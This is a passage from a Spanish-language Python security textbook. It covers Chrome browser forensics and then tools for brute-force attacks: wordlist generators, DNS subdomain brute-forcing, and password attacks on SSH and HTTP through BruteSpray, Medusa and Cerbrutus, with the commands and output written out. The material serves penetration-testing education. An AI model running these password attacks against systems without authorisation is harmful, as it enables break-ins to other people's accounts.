disponibles en la tabla de descargas :
Figura 12.3: Columnas disponibles en la tabla de descargas de
SQLite
Podríamos construir un script en Pythonque extrae información
de las descargasTabla. Solo necesitas usar el sqlite3módulo y
ejecutar la siguiente consulta sobre la downloadstabla:
SELECT target_path, referrer, start_time, end_time,
received_bytes FROM downloads
Puede encontrar el siguiente código en
el chrome_downloads.pyarchivo dentro de la chromecarpeta:
import sqlite3
import datetime
import optparse
def fixDate(timestamp):
epoch_start = datetime.datetime(1601,1,1)
delta = datetime.timedelta(microseconds=int(timestamp))
return epoch_start + delta
def getMetadataHistoryFile(locationHistoryFile):
sql_connect = sqlite3.connect(locationHistoryFile)
for row in sql_connect.execute('SELECT target_path, referrer,
start_time, end_time, received_bytes FROM downloads;'):
print ("Download:",str(row[0]))
print ("\tFrom:",str(row[1]))
print ("\tStarted:",str(fixDate(row[2])))
print ("\tFinished:",str(fixDate(row[3])))
print ("\tSize:",str(row[4]))
def main():
parser = optparse.OptionParser('--location <target
location>')
parser.add_option('--location', dest='location', type='string',
help='specify target location')
(options, args) = parser.parse_args()
location = options.location
getMetadataHistoryFile(location)
if __name__ == '__main__':
main()
En el código anterior, definimos funciones para transformar el
formato de fecha y consultar la información relacionada con las
descargas del navegador desde la tabla de descargas. Para
ejecutar el script anterior, es necesario cerrar Chrome y pasar
la ubicación de la base de datos del historial en
la /home/linux/.config/google-chrome/Defaultcarpeta.como
unparámetro:
$ python ChromeDownloads.py --location
/home/linux/.config/google-chrome/Default/History
Download: /home/linux/Descargas/Python-3.10.10.tar.xz
From: https://www.python.org/downloads/release/python-
31010/
Started: 2023-03-22 21:24:30.488851
Finished: 2023-03-22 21:24:33.888085
Size: 19627028
En esta sección, repasamos cómo el navegador Chrome
almacena información en una base de datos SQLite. A
continuación, analizaremos una herramienta que permite
automatizar este proceso mediante una terminal o interfaz
web.
Análisis forense de Chrome con Hindsight
Hindsight ( https://github.com/obsidianforensics/
hindsight ) es una herramienta de código abierto para
analizarel navegador Chrome de un usuarioDatos y permite
analizar diversos tipos de artefactos web, como URL, historial
de descargas, registros de caché, marcadores, preferencias,
extensiones del navegador, cookies HTTP y registros de
almacenamiento local en forma de cookies. Esta herramienta
se puede ejecutar de dos maneras:
El primero es usar el hindsight.pyscript.
La segunda es ejecutando el hindsight_gui.pyscript, que
proporciona una interfaz web para ingresar la ubicación
donde se encuentra el perfil de Chrome.
Para ejecutar este script, primero necesitamos instalar los
módulos disponibles requirements.txtcon el siguiente comando:
$ python install -r requirements.txt
Ejecutando hindsight.pydesde el comandoLa línea requiere
pasar la ubicaciónde su perfil de Chrome como parámetro de
entrada obligatorio:
usage: hindsight.py [-h] -i INPUT [-o OUTPUT] [-b
{Chrome,Brave}]
[-f {sqlite,jsonl,xlsx}] [-l LOG] [-t TIMEZONE]
[-d {mac,linux}] [-c CACHE]
Hindsight v20200607 - Internet history forensics for Google
Chrome/Chromium.
This script parses the files in the Chrome/Chromium/Brave data
folder, runs various plugins
against the data, and then outputs the results in a
spreadsheet.
optional arguments:
-h, --help show this help message and exit
-i INPUT, --input INPUT
Path to the Chrome(ium) profile directory
(typically
"Default")
La ubicación de tu perfil de Chrome depende de tu sistema
operativo. Las ubicaciones predeterminadas de la carpeta de
datos de Chrome son las siguientes:
WinXP :<userdir>\Local Settings\Application Data\
Google\Chrome \User Data\Default\
Vista/7/8/10 :<userdir>\AppData\Local\Google\Chrome\
User Data\Default\
Linux :<userdir>/.config/google-chrome/Default/
Sistema operativo X :<userdir>/Library/Application
Support/Google/Chrome/Default/
iOS :\Applications\com.google.chrome.ios\Library\
Application Support\Google\Chrome\Default\
Sistema operativo Chromium :\home\user\<GUID>\
Podríamos ejecutar lo siguienteComando, estableciendo el --
inputparámetro con el perfil predeterminadoEn una ubicación
de Google Chrome para Linux. Debe cerrar el navegador
Chrome antes de ejecutar Hindsight.
$ python hindsight.py --input /home/linux/.config/google-
chrome/Default
Alternativamente, puede ejecutar el hindsight_gui.pyscript y
visitarlo http://localhost:8080en un navegador:
$ python hindsight_gui.py
Bottle v0.12.18 server starting up (using WSGIRefServer())...
Listening on http://localhost:8080/
En la siguiente captura de pantalla, podemos ver la interfaz de
usuario donde el único campo requerido es Profile Path ,
correspondiente a la ruta a la ubicación del perfil de Chrome
que desea analizar.
Figura 12.4: Interfaz de usuario de Hindsight
Al ejecutar la herramientaen el directorio que contiene
Chromeperfil, obtenemos la siguiente salida donde vemos la
información que ha podido extraer.
Profile: /home/linux/.config/google-chrome/Default
Detected Chrome version: [ 107-110 ]
URL records: [ 7]
Download records: [ 1]
GPU Cache records: [ 0]
Cookie records: [ 16 ]
Autofill records: [ 0]
Local Storage records: [ 5]
Session Storage records: [ 4]
Extensions: [ 2]
Login Data records: [ 0]
Preference Items: [ 32 ]
Site Characteristics records: [ 2]
HSTS records: [ 9]
Chrome Extension Names (v20210424): - 0 extension
URLs parsed -
Generic Timestamp Decoder (v20160907): - 0
timestamps parsed -
Google Analytics Cookie Parser (v20170130): - 0 cookies
parsed -
Google Searches (v20160912): - 2 searches
parsed -
Load Balancer Cookie Decoder (v20200213): - 0 cookies
parsed -
Quantcast Cookie Parser (v20160907): - 0 cookies
parsed -
Query String Parser (v20170225): - 0 query strings
parsed -
Time Discrepancy Finder (v20170129): - 0 differences
parsed -
En la siguiente imagen podemos ver el resultadode la
ejecución, junto con los artefactosque podemos descargar,
entre los que podemos destacar los archivos XLSX, JSONL y
SQLite.
Figura 12.5: Resultados en retrospectiva
Si intentamos ejecutar el script con el proceso de Chrome
abierto, se bloqueará, ya que debemos cerrarlo antes de
ejecutarlo. Este es el mensaje de error que aparece al intentar
ejecutar el script con el proceso de Chrome en ejecución:
SQLite3 error; is the Chrome profile in use? Hindsight cannot
access history files if Chrome has them locked. This error most
often occurs when trying to analyze a local Chrome installation
while it is running. Please close Chrome and try again.
Resumen
Uno de los objetivos de este capítulo fue conocer los módulos
que nos permiten extraer metadatos de documentos e
imágenes, así como extraer información de geolocalización de
direcciones IP y nombres de dominio.
Analizamos cómo obtener información de un sitio web, como el
uso de tecnologías y sistemas de gestión de contenido (CMS)
en una página web específica. Finalmente, revisamos cómo
extraer metadatos de navegadores web como Chrome y
Firefox. Todas las herramientas revisadas en este capítulo nos
permiten obtener información útil para fases posteriores de
nuestro proceso de pruebas de penetración o auditoría.
En el próximo capítulo, exploraremos las principales
herramientas que tenemos en el ecosistema Python para los
constructores de diccionarios para ataques de fuerza bruta.
Preguntas
Para concluir, aquí tienes una lista de preguntas para que
pongas a prueba tus conocimientos sobre el material de este
capítulo. Encontrarás las respuestas en la sección de
Evaluaciones del Apéndice .
1. ¿Qué método dentro del maxminddb-geolite2módulo nos
permite obtener la geolocalización a partir de la dirección
IP pasada por el parámetro?
2. ¿Qué módulo, clase y método podemos utilizar para
obtener información de un documento PDF?
3. ¿Qué módulo nos permite extraer información de
imágenes de etiquetas en formato EXIF?
4. ¿Cuál es el nombre de la base de datos y las tablas para
almacenar información relacionada con el historial del
usuario en el navegador Firefox?
5. ¿Cuál es el nombre de la base de datos y las tablas para
almacenar información relacionada con las descargas de
los usuarios en el navegador Chrome?
Lectura adicional
En los siguientes enlaces podrás encontrar más información
sobre las herramientas mencionadas en este capítulo y la
documentación oficial de Python para algunos de los módulos
comentados:
Documentación de
GeoIP : https://geoip2.readthedocs.io/en/latest/
Bases de datos
Maxmind : https://www.maxmind.com/es/geoip2-
services-and-databases?lang=es
Maxminddb-geolite2 : https://snyk.io/advisor/
python/maxminddb-geolite2
Documentación de
Exiftags : https://pillow.readthedocs.io/en/latest/ref
erence/ExifTags.html
Geo-Recon : una herramienta CLI de OSINT diseñada
para rastrear la reputación de IP y la búsqueda de
geolocalización
( https://github.com/radioactivetobi/geo-recon )
Documentación
de
PyPDF2 : https://pypdf2.readthedocs.io
PDFMiner ( https://pypi.org/project/pdfminer ) es una
herramienta desarrollada en Python que funciona
correctamente en Python 3 mediante
el PDFMiner.sixpaquete
( https://github.com/pdfminer/pdfminer.six ). Ambos
paquetes permiten analizar y convertir documentos PDF.
PDFQuery ( https://github.com/jcushman/pdfquery )
es una biblioteca que le permite extraer contenido de un
archivo PDF usando expresiones jQuery y XPath con
técnicas de scraping.
Chromensics – Análisis forense de Google
Chrome : https://sourceforge.net/projects/chromens
ics .
Extraiga toda la información forense interesante en
Firefox : https://github.com/Busindre/dumpzilla
Imago (https://github.com/redaelli/imago-forensics)
es una herramienta de Python que extrae evidencia digital
de imágenes de forma recursiva. Esta herramienta es útil
en investigaciones forenses digitales. Si necesita extraer
evidencia digital y tiene muchas imágenes, con esta
herramienta podrá compararlas fácilmente.
Únete a nuestra comunidad en Discord
Únase al espacio Discord de nuestra comunidad para discutir
con el autor y otros lectores:
https://packt.link/SecNet
13
Herramientas de Python para ataques de fuerza bruta
Dentro del campo de la ciberseguridad, existen varias tareas
que se centran en realizar procedimientos de fuerza bruta,
permitiéndonos probar diferentes combinaciones y
permutaciones de palabras que encontramos en un archivo de
texto llamado dictionary.
Este capítulo abarca las principales herramientas disponibles
en el ecosistema Python para la creación de diccionarios y
ataques de fuerza bruta. Las aplicaciones más comunes de
estos ataques son el descifrado de contraseñas y la evasión de
la autenticación de la página web de inicio de sesión.
Abordaremos el proceso de ejecución de ataques de fuerza
bruta y las herramientas utilizadas para ejecutarlos contra
aplicaciones web y archivos ZIP protegidos con contraseña.
En este capítulo se tratarán los siguientes temas:
Aprender y comprender herramientas para creadores de
diccionarios para ataques de fuerza bruta.
Aprendiendo sobre herramientas para ataques de fuerza
bruta en Python.
Comprender cómo ejecutar ataques de fuerza bruta en
aplicaciones web.
Comprender y analizar cómo ejecutar ataques de fuerza
bruta en archivos ZIP protegidos con contraseña.
Requisitos técnicos
Antes de comenzar a leer este capítulo, debe conocer los
fundamentos de la programación en Python y tener
conocimientos básicos de HTTP. Trabajaremos con la versión
3.10 de Python, disponible en www.python.org/downloads .
Algunos de los ejemplos de este capítulo requieren la
instalación de los siguientes programas:
Escáner de puertos Nmap: https://nmap.org
Docker: https://www.docker.com
Docker Compose: https://docs.docker.com/compose
Los ejemplos y el código fuente de este capítulo están
disponibles en el repositorio de GitHub
en https://github.com/PacktPublishing/Python-for-
Security-and-Networking .
Mira el siguiente video para ver el código en
acción: https://packt.link/Chapter13 .
Constructores de diccionarios para ataques de fuerza bruta
En esta sección, vamos a:Revisar las principales herramientas
para construir diccionarios que podríamos utilizar en un
proceso de ataque de fuerza bruta.
Generación de diccionarios por fuerza bruta con
pydictor
pydictor ( https://github.com/LandGrey/pydictor ) es un
script de Python que proporciona diferentesopciones
parapersonalizar la generación dediccionarios, incluyendo la
aplicación de expresiones regulares, el uso de complementos y
el cifrado de cada palabra del diccionario con un algoritmo
como SHA, MD5 o DES, entre otras cosas.
Para realizar la instalación, bastaría con clonar/descargar el
repositorio desde GitHub y ejecutar el pydictor.pyscript con los
siguientes comandos:
$ git clone --depth=1 --branch=master
https://www.github.com/landgrey/pydictor.git
Cloning in 'pydictor'...
warning: redirecting to https://github.com/landgrey/pydictor.git/
remote: Enumerating objects: 111, done.
remote: Counting objects: 100% (111/111), done.
remote: Compressing objects: 100% (82/82), done.
remote: Total 111 (delta 30), reused 76 (delta 25), pack-reused
0
$ cd pydictor/
$ chmod +x pydictor.py
$ python pydictor.py -h
En la siguiente captura de pantalla, puedes ver las opciones
disponibles para este script:
Figura 13.1: Opciones de Pydictor
A continuación se muestran algunosComandos para el uso
básico de la herramienta para entender cómo funciona y lo fácil
que es usarla.
El siguiente comandogenera un archivo llamado test1.txt,
donde cada línea contendrá una palabra del diccionario
seguida de una base numérica, con una longitud de
exactamente 4 (el valor predeterminado si -lenno se especifica
la opción):
$ python pydictor.py -base d -o test1.txt
__ _
_ __ _ _ __| (_) ___| |_ ___ _ __
| '_ \| | | |/ _' | |/ __| __/ _ \| '__|
| |_) | |_| | (_| | | (__| || (_) | |
| .__/ \__, |\__,_|_|\___|\__\___/|_|
|_| |___/ 2.1.7.3#dev
[+] A total of :11111 lines
[+] Store in :/home/linux/Downloads/pydictor/results/test1.txt
[+] Cost :0.0807 seconds
El test1.txtarchivo contiene 11.111 líneas con el siguiente
contenido:
0000, 0001, ...., 9999
El siguiente comando genera un archivo, test2.txt, donde cada
línea contendrá una palabra del diccionariosiguiendo una base
numérica, conuna longitud de exactamente 6:
$ python pydictor.py -len 6 6 -base d -o test2.txt
__ _
_ __ _ _ __| (_) ___| |_ ___ _ __
| '_ \| | | |/ _' | |/ __| __/ _ \| '__|
| |_) | |_| | (_| | | (__| || (_) | |
| .__/ \__, |\__,_|_|\___|\__\___/|_|
|_| |___/ 2.1.7.3#dev
[+] A total of :1000000 lines
[+] Store in :/home/linux/Downloads/pydictor/results/test2.txt
[+] Cost :0.5863 seconds
El test2.txtarchivo contiene 1.000.000 de líneas con el
siguiente contenido:
000000, 000001, ...., 999999
El siguiente comando genera un archivo llamado test3.txt,
donde cada línea contendrá una palabra del diccionario
utilizando caracteres del alfabeto en minúscula, con una
longitud de exactamente 5:
$ python pydictor.py -len 5 5 -base L -o test3.txt
__ _
_ __ _ _ __| (_) ___| |_ ___ _ __
| '_ \| | | |/ _' | |/ __| __/ _ \| '__|
| |_) | |_| | (_| | | (__| || (_) | |
| .__/ \__, |\__,_|_|\___|\__\___/|_|
|_| |___/ 2.1.7.3#dev
[+] A total of :11881376 lines
[+] Store in :/home/linux/Downloads/pydictor/results/test3.txt
[+] Cost :5.8195 seconds
El test3.txtarchivo contiene 11.881.376 líneas con el siguiente
contenido:
aaaaaa, aaaab, aaaac, ...., zzzzzz
El siguiente comando genera un archivo llamado text4.txt,
donde cada línea contendrá una palabra del diccionario
utilizando caracteres alfabéticos en mayúsculas y los dígitos
del 0 al 9, con una longitud de exactamente 5:
$ python pydictor.py -len 5 5 -base dc -o test4.txt
__ _
_ __ _ _ __| (_) ___| |_ ___ _ __
| '_ \| | | |/ _' | |/ __| __/ _ \| '__|
| |_) | |_| | (_| | | (__| || (_) | |
| .__/ \__, |\__,_|_|\___|\__\___/|_|
|_| |___/ 2.1.7.3#dev
[+] A total of :60466176 lines
[+] Store in :/home/linux/Descargas/pydictor/results/test4.txt
[+] Cost :34.517 seconds
El test4.txtarchivo contiene60.466.176 líneas con el siguiente
contenido:
00000, 00001, ..., 0000A, ...., ZZZZZ
La siguienteEl comando genera un archivo llamado text5.txt,
donde cada línea contendrá una palabra del diccionario que
sigue una base numérica y comenzará pythoncon security.
Cada palabra tendrá una longitud de exactamente 5:
$ python pydictor.py -len 5 5 -base d -head python -tail security
-o test5.txt
__ _
_ __ _ _ __| (_) ___| |_ ___ _ __
| '_ \| | | |/ _' | |/ __| __/ _ \| '__|
| |_) | |_| | (_| | | (__| || (_) | |
| .__/ \__, |\__,_|_|\___|\__\___/|_|
|_| |___/ 2.1.7.3#dev
[+] A total of :100000 lines
[+] Store in :/home/linux/Descargas/pydictor/results/test5.txt
[+] Cost :0.2706 seconds
El test5.txtarchivo contiene 100.000 líneas con el siguiente
contenido:
python00000security, python00001security, ....,
python99999security
El siguiente comando genera un archivo llamado test6.txt,
donde cada palabra del diccionario estará codificada con
SHA256:
$ python pydictor.py -len 5 5 -base d -head python -tail security
-encode sha256 -o test6.txt
__ _
_ __ _ _ __| (_) ___| |_ ___ _ __
| '_ \| | | |/ _' | |/ __| __/ _ \| '__|
| |_) | |_| | (_| | | (__| || (_) | |
| .__/ \__, |\__,_|_|\___|\__\___/|_|
|_| |___/ 2.1.7.3#dev
[+] A total of :100000 lines
[+] Store in :/home/linux/Descargas/pydictor/results/test6.txt
[+] Cost :0.2614 seconds
El test6.txtarchivoContiene 100.000 líneas con el siguiente
contenido:
60bd1b952236975c2bbb4ea598819e4c96976d5142e62077ae8
ce074e707dd03, ....,
489e344e4893ceb9153b259b84992994b92aca46ba61324492a
ed2e4424f7a9e
La siguienteEl comando genera un archivo llamado test7.txt,
donde cada línea contendrá una de las posibles combinaciones
de los caracteres indicados en chars. Cada palabra tendrá una
longitud de exactamente 5:
$ python pydictor.py -len 5 5 -char python -o test7.txt
__ _
_ __ _ _ __| (_) ___| |_ ___ _ __
| '_ \| | | |/ _' | |/ __| __/ _ \| '__|
| |_) | |_| | (_| | | (__| || (_) | |
| .__/ \__, |\__,_|_|\___|\__\___/|_|
|_| |___/ 2.1.7.3#dev
[+] A total of :7776 lines
[+] Store in :/home/linux/Descargas/pydictor/results/test7.txt
[+] Cost :0.0786 seconds
El test7.txtarchivo contiene 7.776 líneas con el siguiente
contenido:
ppppp, ppppy, ...., nnnnn
Con los ejemplos anteriores, vimos cómo el script puede
realizar permutaciones con bastante flexibilidad. Con la -
charsopción, se especifican los caracteres que se usarán para
la permutación y, con la -chunkopción, se especifican grupos
de caracteres separados por un espacio. La herramienta
permuta estos grupos sin modificar el contenido de cada uno.
Uno de los másUna característica interesante de la herramienta
es la posibilidad de crear diccionarios personalizados con la
información disponible sobre un objetivo. Para ello, debe
cargarse el módulo de ingeniería social disponible. Debe
ejecutar el script con la --sedbopción, como se muestra en el
siguiente comando:
$ python pydictor.py --sedb
En la siguiente captura de pantalla, puede ver las opciones
disponibles para esta opción de comando:
Figura 13.2: Generador de diccionarios de Pydictor
En el anteriorEn la imagen, podemos ver el menú principal con
los comandos y opciones. Aquí, puedes ingresar los datos del
objetivo en cuestión. Cuanta más información proporciones,
más combinaciones generará la herramienta y mayor será el
diccionario.
Esta herramienta ofrece otras opciones interesantes que hacen
que el diccionario sea más potente y robusto. El siguiente
comando genera un archivo llamado test8.txt, donde cada
palabra representará una fecha entre el 01/01/2000 y el
01/01/2023:
$ python pydictor.py -plug birthday 01012000 01012023 -dmy
-len 8 8 -o test8.txt
__ _
_ __ _ _ __| (_) ___| |_ ___ _ __
| '_ \| | | |/ _' | |/ __| __/ _ \| '__|
| |_) | |_| | (_| | | (__| || (_) | |
| .__/ \__, |\__,_|_|\___|\__\___/|_|
|_| |___/ 2.1.7.3#dev
[+] A total of :21749 lines
[+] Store in :/home/linux/Descargas/pydictor/results/test8.txt
[+] Cost :0.4211 seconds
El test8.txtarchivoContiene 21.749 líneas con lasiguiente
contenido:
01012000, 20000101, ...., 20230101
El siguiente comando realiza un proceso de rastreo básico en el
sitio dado, extrayendo cada una de las palabras encontradas
en el sitio web:
$ python pydictor.py -plug scratch http://python.org -o test9.txt
Generador de listas de contraseñas
psudohash ( https://github.com/t3l3machus/psudohash )
es un generador de listas de contraseñas para orquestar
ataques de fuerza bruta.Ataques. Imita ciertos patrones de
creación de contraseñas.Comúnmente usado por humanos,
como sustituir las letras de una palabra por símbolos o
números, usar variaciones entre caracteres, añadir un relleno
común antes o después de una palabra, y más. Se basa en
palabras clave y es altamente personalizable. Puedes instalarlo
con los siguientes comandos:
$ git clone https://github.com/t3l3machus/psudohash
$ cd psudohash
$ chmod +x psudohash.py
Al escribir esto, –haparecerá la pantalla de ayuda:$ python
psudohash.py -h
usage: psudohash.py [-h] -w WORDS [-an LEVEL] [-nl LIMIT] [-y
YEARS] [-ap VALUES] [-cpb] [-cpa] [-cpo] [-o FILENAME] [-q]
optional arguments:
-h, --help show this help message and exit
-w WORDS, --words WORDS
Comma seperated keywords to mutate
-an LEVEL, --append-numbering LEVEL
....
Usage examples:
Basic:
python3 psudohash.py -w <keywords> -cpa
Thorough:
python3 psudohash.py -w <keywords> -cpa -cpb -an 3 -y
1990-2022
La -wopción es la opción principal que podemos utilizar para
generar nuestroDiccionario a partir de las palabras clave que
nos interesan:
$ psudohash.py -w "python,security" --common-paddings-after
┌─┐ ┌─┐ ┬ ┬ ┌┬┐ ┌─┐ ┬ ┬ ┌─┐ ┌─┐ ┬ ┬
├─┘ └─┐ │ │ ││ │ │ ├─┤ ├─┤ └─┐ ├─┤
┴ └─┘ └─┘ ─┴┘ └─┘ ┴ ┴ ┴ ┴ └─┘ ┴ ┴
by t3l3machus
[Info] Calculating total words and size...
[Warning] This operation will produce 364752 words, 4.4 MB.
Are you sure you want to proceed? [y/n]: y
[*] Mutating keyword: python
├─ Producing character case-based transformations...
├─ Mutating word based on commonly used char-to-symbol and
char-to-number substitutions...
├─ Appending common paddings after each word mutation...
└─ Done!
[*] Mutating keyword: security
├─ Producing character case-based transformations...
├─ Mutating word based on commonly used char-to-symbol and
char-to-number substitutions...
├─ Appending common paddings after each word mutation...
└─ Done!
[Info] Completed! List saved in output.txt
En la salida de la ejecución, vemos como genera
un output.txtarchivo que contiene un diccionario, con
elposibles combinaciones de las palabras pythony securitycon
otros caracteres alfanuméricos.
Herramientas para ataques de fuerza bruta en Python
En esta sección, nosotrosRevisaremos las principales
herramientas que podemos encontrar en el ecosistema Python
para obtener información mediante ataques de fuerza bruta.
Obtención de subdominios por fuerza bruta
Aiodnsbrute ( https://github.com/blark/aiodnsbrute ) es
un lenguaje Python3.5+ herramienta que utiliza Módulo
asyncio para fuerza brutanombres de dominio de forma
asincrónica. asyncio
( https://docs.python.org/3.10/library/asyncio.html ) es
una biblioteca para escribir código concurrente usando la
sintaxis async/ awaity se utiliza para realizar llamadas
asincrónicas con Python.
Hay dos formas de instalarlo, la primera consiste en utilizar un
comando que permite instalarlo en el sistema:
$ pip install aiodnsbrute
El segundo es descargar el código fuente del repositorio de
GitHub y ejecutar el setup.pyarchivo:
$ git clone https://github.com/blark/aiodnsbrute.git
$ cd aiodnsbrute
$ python setup.py install .
Una vez instalado, podremos ver las distintas opciones del
ayudante con el siguiente comando:
$ aiodnsbrute --help
Usage: aiodnsbrute [OPTIONS] DOMAIN
aiodnsbrute is a command line tool for brute forcing domain
names utilizing
Python's asyncio module.
credit: blark (@markbaseggio)
Options:
-w, --wordlist TEXT Wordlist to use for brute force.
-t, --max-tasks INTEGER Maximum number of tasks to run
asynchronously.
-r, --resolver-file FILENAME A text file containing a list of DNS
resolvers
to use, one per line, comments start with
#.
Default: use system resolvers
-v, --verbosity Increase output verbosity
-o, --output [csv|json|off] Output results to DOMAIN.csv/json
(extension
automatically appended when not using -f).
-f, --outfile FILENAME Output filename. Use '-f -' to send
file
output to stdout overriding normal output.
--query / --gethostbyname DNS lookup type to use query
(default) should
be faster, but won't return CNAME
information.
--wildcard / --no-wildcard Wildcard detection, enabled by
default
--verify / --no-verify Verify domain name is sane before
beginning,
enabled by default
--version Show the version and exit.
--help Show this message and exit.
A continuaciónDurante la ejecución obtenemos los subdominios
del dominio python.org, y los resultados se guardan en
un JSONarchivo:
$ aiodnsbrute python.org --output json
[*] Brute forcing python.org with a maximum of 512 concurrent
tasks...
[*] Using local resolver to verify python.org exists.
[*] Using recursive DNS with the following servers:
['192.168.18.1']
[*] No wildcard response was detected for this domain.
[*] Using pycares 'query' function to perform lookups, CNAMEs
cannot be identified
[*] Wordlist loaded, proceeding with 1000 DNS requests
[+] www.python.org ['151.101.132.223']
[+] mail.python.org ['188.166.95.178']
[+] blog.python.org ['151.101.0.175',
'151.101.64.175', '151.101.128.175', '151.101.192.175']
[+] staging.python.org ['54.196.16.164',
'54.91.6.89', '34.201.80.84', '54.157.4.65']
[+] legacy.python.org ['167.99.21.118',
'159.89.245.108']
[+] status.python.org ['52.215.192.131']
[+] monitoring.python.org ['140.211.10.83']
[+] pl.python.org ['51.83.134.165']
[+] doc.python.org ['151.101.132.175']
[+] downloads.python.org ['151.101.132.175']
[+] console.python.org ['167.99.21.118',
'159.89.245.108']
El contenido deEl archivo JSON generado tiene el siguiente
formato:
[{"domain": "www.python.org", "ip": ["151.101.132.223"]},
{"domain": "mail.python.org", "ip": ["188.166.95.178"]},
{"domain": "blog.python.org", "ip": ["151.101.0.175",
"151.101.64.175", "151.101.128.175", "151.101.192.175"]},
{"domain": "staging.python.org", "ip": ["34.201.80.84",
"54.91.6.89", "54.157.4.65", "54.196.16.164"]}, {"domain":
"legacy.python.org", "ip": ["159.89.245.108",
"167.99.21.118"]}, {"domain": "status.python.org", "ip":
["52.215.192.133"]}, {"domain": "monitoring.python.org", "ip":
["140.211.10.83"]}, {"domain": "pl.python.org", "ip":
["51.83.134.165"]}, {"domain": "doc.python.org", "ip":
["151.101.132.175"]}, {"domain": "downloads.python.org",
"ip": ["151.101.132.175"]}, {"domain": "console.python.org",
"ip": ["167.99.21.118", "159.89.245.108"]}, {"domain":
"wiki.python.org", "ip": ["161.35.181.181", "159.203.120.55"]},
{"domain": "es.python.org", "ip": ["185.199.109.153",
"185.199.111.153", "185.199.108.153", "185.199.110.153"]},
{"domain": "svn.python.org", "ip": ["159.89.245.108",
"167.99.21.118"]}, {"domain": "docs.python.org", "ip":
["151.101.132.223"]}, {"domain": "jobs.python.org", "ip":
["167.99.21.118", "159.89.245.108"]}]
Continuaremos analizando otras herramientas para ejecutar
ataques de fuerza bruta, con el fin de conectarse a un servidor
y descubrir los servicios disponibles.
Ataques de fuerza bruta con BruteSpray
BruteSpray es un script escrito enPython que es capaz
deBusque hosts y puertos abiertos con el escáner de puertos
Nmap. Esta herramienta proporciona automáticamente
información para atacar posteriormente los servicios
detectados en los distintos hosts con el programa Medusa.
El repositorio del proyecto se puede encontrar en GitHub
( https://github.com/x90skysn3k/brutespray ), donde
encontrarás el código fuente de la herramienta para descargar
y ejecutar en cualquier sistema operativo Linux.
Medusa es un guiónresponsable de realizar el proceso de
fuerza brutae intentar autenticar servicios como SSH o FTP,
entre otros protocolos. Medusa se puede instalar con el
siguiente comando en una distribución basada en Debian:
$sudo apt-get install medusa
Por ejemplo, podríamos usar Medusa para ejecutar un ataque
de fuerza bruta sobre una dirección IP utilizando diccionarios de
archivos para usuarios y contraseñas:
$ medusa -h <ip_address> -U users_dictionary.txt -P
passwords_dictionary.txt -M http
Este script está diseñado para ejecutarse en la popular
distribución de seguridad Kali Linux y en todas las demás
distribuciones basadas en Debian. Si tenemos un sistema
operativo Linux basado en Debian, la instalación es tan sencilla
como hacer lo siguiente:
$ apt-get install brutespray
Si trabajas con otro sistema operativo, la otra opción es
instalarlo manualmente desde el código fuente que se
encuentra en el repositorio de GitHub:
$ git clone https://github.com/x90skysn3k/brutespray
Al ejecutar el siguiente comando en la terminal, se nos
presentan todas las opciones que podemos ejecutar:
$ python brutespray.py -h
usage: brutespray.py [-h] [-f FILE] [-o OUTPUT] [-s SERVICE] [-t
THREADS] [-T HOSTS] [-U USERLIST] [-P PASSLIST] [-C COMBO]
[-u USERNAME]
[-p PASSWORD] [-c] [-i] [-m] [-q] [-v VERBOSE] [-w
DEBUG]
Usage: python brutespray.py <OPTIONS>
optional arguments:
-h, --help show this help message and exit
Menu Options:
-f FILE, --file FILE GNMAP, JSON or XML file to parse
-o OUTPUT, --output OUTPUT
Directory containing successful attempts
-s SERVICE, --service SERVICE
specify service to attack
-t THREADS, --threads THREADS
number of medusa threads
-T HOSTS, --hosts HOSTS
number of hosts to test concurrently
-U USERLIST, --userlist USERLIST
reference a custom username file
-P PASSLIST, --passlist PASSLIST
reference a custom password file
...
En primera instancia, necesitamos:Ejecute la herramienta
Nmap para descubrirlos hosts y servicios disponibles en el
servidor que estamos analizando, exportando esta información
para utilizarla con BruteSpray:
$ sudo nmap -sS -sV scanme.nmap.org -vv -n -oA nmap_output
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 52 OpenSSH 6.6.1p1 Ubuntu
2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 53 Apache httpd 2.4.7
((Ubuntu))
9929/tcp open nping-echo syn-ack ttl 53 Nping echo
31337/tcp open tcpwrapped syn-ack ttl 53
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Luego, podemos ejecutar BruteSpray importando el archivo
generado por Nmap, de la siguiente manera:
$ python brutespray.py --file nmap_output.xml -t 5 -T 2
Con el comando anterior, ejecutamos un ataque de fuerza
bruta usando el nmap_output.xmlarchivo, resultante de la
ejecución del nmapcomando en un servidor específico. Con las
opciones -ty -T, indicamos el número de subprocesos y hosts
que se probarán simultáneamente.
Ataques de fuerza bruta con Cerbrutus
Cerbrutus es una herramienta modular de fuerza brutaescrito
en Python para muyInyección rápida de contraseñas desde
SSH, FTP y otros servicios de red. Esta herramienta utiliza una
implementación personalizada.del
módulo Paramiko ( https://github.com/paramiko/paramiko
) para solucionar algunos problemas menores al implementarlo
para ataques de fuerza bruta SSH. Esta herramienta se puede
instalar manualmente desde el código fuente del repositorio de
GitHub:
$ git clone https://github.com/Cerbrutus-BruteForcer/cerbrutus
$ python cerbrutus.py --help
usage: cerbrutus.py [-h] -U USERS -P PASSWORDS [-p PORT] [-t
THREADS] [-q [QUIET [QUIET ...]]] Host Service
Python based network brute forcing tool!
positional arguments:
Host The host to connect to - in IP or
VHOST/Domain Name form
Service The service to brute force (currently
implemented 'SSH')
optional arguments:
-h, --help show this help message and exit
-U USERS, --users USERS
Either a single user, or the path to the file of
users you wish to use
-P PASSWORDS, --passwords PASSWORDS
Either a single password, or the path to the
password list you wish to use
-p PORT, --port PORT The port you wish to target (only
required if running on a non standard port)
-t THREADS, --threads THREADS
Number of threads to use
-q [QUIET [QUIET ...]], --quiet [QUIET [QUIET ...]]
Do not print banner
Por ejemplo, podríamos usar esta herramienta para ejecutar un
ataque de fuerza bruta contra un servicio SSH, utilizando
el wordlists/fasttrack.txtarchivo de diccionario de contraseñas.
Este diccionario se encuentra en el repositorio de GitHub en la
URL https://github.com/Cerbrutus-BruteForcer/cerbrutus/
blob/main/wordlists/fasttrack.txt y contiene una lista de
palabras para probar la conexión con un servicio SSH:
$ python cerbrutus.py scanme.nmap.org SSH -U "user" -P
wordlists/fasttrack.txt -t 10
[*] - Initializing password list...
Read in 223 words from wordlists/fasttrack.txt
[+] - Running with 10 threads...
[*] - Starting attack against user@scanme.nmap.org:22
[*] - Trying: 223/223
[*] - Approaching final keyspace...
En esta sección, nosotrosRevisamos las principales
